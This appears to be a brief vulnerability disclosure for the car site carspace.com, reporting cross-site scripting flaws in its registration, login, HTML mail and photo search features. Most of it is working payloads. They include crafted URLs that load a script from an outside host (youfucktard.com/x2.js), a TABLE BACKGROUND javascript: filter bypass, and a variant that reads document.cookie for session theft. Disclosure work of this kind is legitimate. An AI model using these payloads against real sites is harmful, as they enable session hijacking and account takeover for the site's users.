Carspace.com - XSS with cookie disclosure
Carspace.com
Homepage:
http://www.carspace.com
Affected files:
Input boxes of registering
Login boxes
sending mail input boxes.
Searching for photos.
XSS vuln with cookie disclosure via ErrorMessage when registering:
http://www.carspace.com/?register@@!ErrorMessage=<br><SCRIPT
SRC=http://youfucktard.com/x2.js></SCRIPT>.<br><br>
Screenshots:
http://www.youfucktard.com/xsp/carspace1.jpg
Same XSS vuln with cookie disclosure as above, this time in login box. For PoC
put:
http://www.carspace.com/?login@@!EmailAddress=">">">">">'>'>'><"">">"><SCRIPT%20SRC=http://youfucktard.com/x2.js></SCRIPT><"<"<"<"<'<'<"
&ErrorMessage=No%20account%20with%20this%20e-mail%20address.%20Please%20%20sign%20up%20to%20get%20the%20email%20activation%20link.%0A
Screenshot:
http://www.youfucktard.com/xsp/carspace2.jpg
Sending mail XSS vuln with cookie disclosure:
When sending mail you can enable the option to make a "HTML" email. This should
be a no no right off the bat. To bypass their filters still however, we will
use a table tag with long UTF-8 uncicode ' so they don't get filtered. For a
PoC put the codes below in the body of your mail msg. Make sure "HTML Mail" is
checked
in:
<TABLE BACKGROUND=javascript:alert('XSS')>
And to get the cookie:
<TABLE BACKGROUND=javascript:alert(document.cookie)>
Img tags work as well. Script tags seem to get filtered out, even with html
enabled.
Screenshots:
http://www.youfucktard.com/xsp/carspace3.jpg
http://www.youfucktard.com/xsp/carspace4.jpg
http://www.youfucktard.com/xsp/carspace5.jpg
-------------------------------------------------
Searching/Browsing for photos XSS vuln.
Data isn't properly sanatized before being generated. For a PoC try putting the
code below in the "Keywords" box:
<TABLE BACKGROUND=javascript:alert('XSS')> in the photo search
box.
Screenshots:
http://www.youfucktard.com/xsp/carspace6.jpg